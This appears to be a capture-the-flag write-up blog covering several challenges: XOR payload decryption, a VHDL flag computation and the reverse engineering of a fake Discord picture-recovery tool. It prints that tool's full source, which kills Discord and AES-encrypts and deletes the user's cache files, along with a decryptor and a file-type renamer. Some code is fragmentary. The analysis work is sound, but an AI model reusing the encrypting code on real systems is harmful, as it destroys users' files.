# The 16-byte XOR key KEY = bytes.fromhex("040717764269B00BDE1823221EEDF7AE")
# The 6 encrypted chunks received by the malware chunks = [ "4c6e3b562b1a907fb67150027fcd84cb677265136205d965bb2729", "4d276403300c9063b16846026d82fd", "506f72052749d179bb38504d7388d7d861756e56310cde78b76c4a547bcd99c17062645631069042fe6f424c6acd83c124657256311cc26efe6c4b4767ca85cb24697802620cc87bb16b464614", "45696e0123109c2bb67d5147399ed7c37d2763193249c36ebd6a46563e8499c86b757a173600df65e412", "67727513390a803bb24713522d9fc3da34756429371a8354b36d4f562fb284da30602429325dc967ee2c475141d596cc303e24457a14ba", "4d277f19320c9065b17a4c4667cd91c76a6364563601d17ff0360d28" ]
total_decrypted_data = bytearray()
print("--- Decrypting Data Chunks ---")
# Process each chunk individually for i, hex_chunk inenumerate(chunks): encrypted_bytes = bytes.fromhex(hex_chunk) decrypted_chunk = bytearray() # Apply the repeating XOR key, resetting for each chunk for j, byte inenumerate(encrypted_bytes): decrypted_byte = byte ^ KEY[j % len(KEY)] decrypted_chunk.append(decrypted_byte) # Add the decrypted chunk to the total total_decrypted_data.extend(decrypted_chunk) print(f"Chunk {i+1} decrypted ({len(encrypted_bytes)} bytes)")
--- Restored content of /tmp/supersecret --- Hi, is this a secure line? I sure hope so These are some very sensitive notes so I want to be sure they're not exposed Anyway, here's my top secret information: cube{c00l_0p3r4t0rs_us3_mult1_st4g3_p4yl04ds_8ab49338} I hope nobody finds that...
I got a really awesome picture from my friend on Discord, but then he deleted it! I asked someone for a program that could get those pictures back, but when I ran it, all it did was close Discord! Send help, I need that picture back!
import json import os from pathlib import Path import psutil from Cryptodome.Cipher import AES from Cryptodome.Protocol.KDF import PBKDF2 from Cryptodome.Util.Padding import pad
defget_appdata_path() -> Path: if os.getenv('APPDATA') isNone: raise RuntimeError('APPDATA environment variable not set??') return Path(str(os.getenv('APPDATA'))).resolve() if __name__ == '__main__': for proc in psutil.process_iter(): if proc.name() == 'Discord.exe': print(f'Killing Discord (pid {proc.pid})') try: proc.kill() except psutil.NoSuchProcess: print('Process is already dead, ignoring') sentry_path = get_appdata_path() + 'Discord' + 'sentry' + 'scope_v3.json' withopen(sentry_path, 'rb') as f: sentry_data = json.load(f) user_id = sentry_data['scope']['user']['id'] salt = b'BBBBBBBBBBBBBBBB' key = PBKDF2(str(user_id).encode(), salt, 32, 1000000) iv = b'BBBBBBBBBBBBBBBB' cache_path = get_appdata_path() + 'Discord' + 'Cache' + 'Cache_Data' print(f'Encrypting files in {cache_path}...') for file in cache_path.iterdir(): ifnot file.is_file(): continue if file.suffix == '.enc': print(f'Skipping {file} (already encrypted)') continue try: withopen(file, 'rb') as fp1: data = fp1.read() except PermissionError: print(f'Skipping {file} (file open)') continue cipher = AES.new(key, AES.MODE_CBC, iv=iv) ciphertext = cipher.encrypt(pad(data, 16)) print(f'Encrypting {file}...') withopen(file.with_suffix('.enc'), 'wb') as fp2: fp2.write(ciphertext) file.unlink()
import os from pathlib import Path from Cryptodome.Cipher import AES from Cryptodome.Protocol.KDF import PBKDF2 from Cryptodome.Util.Padding import unpad
# ============================================================================== # Step 1: Define all constants and parameters found during reverse engineering # ==============================================================================
# The "password" for the key derivation is the user's Discord ID USER_ID = "1334198101459861555"
# The hardcoded Salt and IV from the malware SALT = b'BBBBBBBBBBBBBBBB' IV = b'BBBBBBBBBBBBBBBB'
# Path to the encrypted files try: CACHE_PATH = Path("./Cache_Data") # 把 Cache_Data 文件夹提取出来,这里面填 Cache_Data 的路径 except TypeError: print("[!] ERROR: Could not determine the APPDATA path. Exiting.") exit()
# ============================================================================== # Step 2: Re-create the exact same AES key the malware used # ==============================================================================
print("[*] Recreating the encryption key using PBKDF2...") print(f" - User ID (Password): {USER_ID}") print(f" - Salt: {SALT.decode()}") print(f" - Iterations: {ITERATIONS}")
# The PBKDF2 function derives the key. All parameters must match exactly. # Note: The malware encoded the user ID string to bytes before using it. key = PBKDF2( password=USER_ID.encode('utf-8'), salt=SALT, dkLen=KEY_LENGTH_BYTES, count=ITERATIONS )
for file_path in CACHE_PATH.glob('*.enc'): print(f"[*] Found encrypted file: {file_path.name}") try: # Read the encrypted content from the .enc file withopen(file_path, 'rb') as f_in: ciphertext = f_in.read()
# Create the AES cipher object with the derived key and hardcoded IV cipher = AES.new(key, AES.MODE_CBC, iv=IV)
# Decrypt the data and remove the PKCS7 padding padded_plaintext = cipher.decrypt(ciphertext) plaintext = unpad(padded_plaintext, AES.block_size)
# Create the original filename by removing the '.enc' suffix original_file_path = file_path.with_suffix('')
# Write the decrypted content to the original file withopen(original_file_path, 'wb') as f_out: f_out.write(plaintext) print(f" -> [+] SUCCESS: Decrypted and saved to {original_file_path.name}")
# Securely remove the encrypted file after successful decryption os.remove(file_path) print(f" -> [-] Removed {file_path.name}") decrypted_count += 1
except Exception as e: print(f" -> [!] ERROR: Failed to decrypt {file_path.name}. Reason: {e}") failed_count += 1 print() # Add a newline for readability
# ============================================================================== # Expanded File Signature Database (Magic Numbers) # # This dictionary maps a file extension to its signature (in hex bytes). # Signatures are ordered from more specific to more general where overlap exists. # ============================================================================== FILE_SIGNATURES = { # Images '.png': b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A', '.jpg': b'\xFF\xD8\xFF', '.gif': b'\x47\x49\x46\x38', '.webp': b'\x52\x49\x46\x46', # RIFF format, requires special check '.bmp': b'\x42\x4D', '.ico': b'\x00\x00\x01\x00',
# Audio '.mp3': b'\x49\x44\x33', # ID3v2 tag '.flac': b'\x66\x4C\x61\x43', '.wav': b'\x52\x49\x46\x46', # RIFF format, could be WAV or AVI '.ogg': b'\x4F\x67\x67\x53', # Video '.mp4': b'\x00\x00\x00\x18\x66\x74\x79\x70', # Common start with 'ftyp' '.mov': b'\x00\x00\x00\x14\x66\x74\x79\x70\x71\x74', '.avi': b'\x52\x49\x46\x46', # RIFF format '.mkv': b'\x1A\x45\xDF\xA3',
defget_file_type_and_ext(file_path): """ Identifies the file type and returns the corresponding extension. """ try: withopen(file_path, 'rb') as f: file_header = f.read(32) ifnot file_header: return"Empty File", None
# Iterate through signatures to find a match for ext, signature in FILE_SIGNATURES.items(): if file_header.startswith(signature): # Special handling for container formats like RIFF (WAV, AVI, WEBP) if ext in ['.webp', '.wav', '.avi']: f.seek(8) fourcc = f.read(4) if fourcc == b'WEBP': return"WEBP Image", '.webp' elif fourcc == b'WAVE': return"WAV Audio", '.wav' elif fourcc == b'AVI ': return"AVI Video", '.avi' continue# Continue if it's a RIFF but not one we can specify
returnf"{ext[1:].upper()} File", ext
return"Unknown Binary", None
except IOError: return"Read Error", None
defmain(): """ Main function to iterate, identify, and rename files in a directory. """ target_directory = Path("./Cache_Data") # 这里面填 Cache_Data 的路径 ifnot target_directory.is_dir(): print(f"[!] Error: Directory not found at '{target_directory}'") return
for file_path insorted(target_directory.iterdir()): ifnot file_path.is_file(): continue
# Skip files that already have an extension if file_path.suffix: print(f" - Skipping: {file_path.name:<30} (already has an extension)") summary["skipped"] += 1 continue file_type, new_ext = get_file_type_and_ext(file_path)
if new_ext: # Construct the new file path new_file_path = file_path.with_suffix(new_ext) # Handle potential file name conflicts counter = 1 while new_file_path.exists(): new_file_path = file_path.parent / f"{file_path.name}.{counter}{new_ext}" counter += 1
ctf_testbench.vhd 是解题的关键,因为它很可能包含了用于产生 Flag 的输入数据 din。
整个设计采用了经典的控制器 - 数据路径架构。ctf_testbench.vhd 是解题的关键,因为它包含了用于产生 Flag 的输入数据 din。
深入分析 VHDL 代码:
ram.vhd - 这个模块实现了一个 32x16 位的同步 RAM
Generics: w=16 (数据宽度), k=5 (地址宽度,2^5=32 个地址)。
Ports: clk, addr (地址), din (输入数据), dout (输出数据), we (写使能)。
最关键的逻辑在 RAM_process 中:
1 2 3 4 5 6
if rising_edge(clk) then dout <= RAM(to_integer(unsigned(addr))) AND"0000000011111111"; if we = '1'then RAM(to_integer(unsigned(addr))) := din; endif; endif;
============================================================ The calculated flag is: USCGCTF{FUN_P3RF3CT_G00D_AW3SUM} ============================================================
1
USCGCTF{FUN_P3RF3CT_G00D_AW3SUM}
Crypto
Incantation
Challenge
While walking through a meadow, you find a magical book on the ground. The letters seem to be dancing off the page, dancing to a rhythm of a song you used to know, but you can’t quite make them out.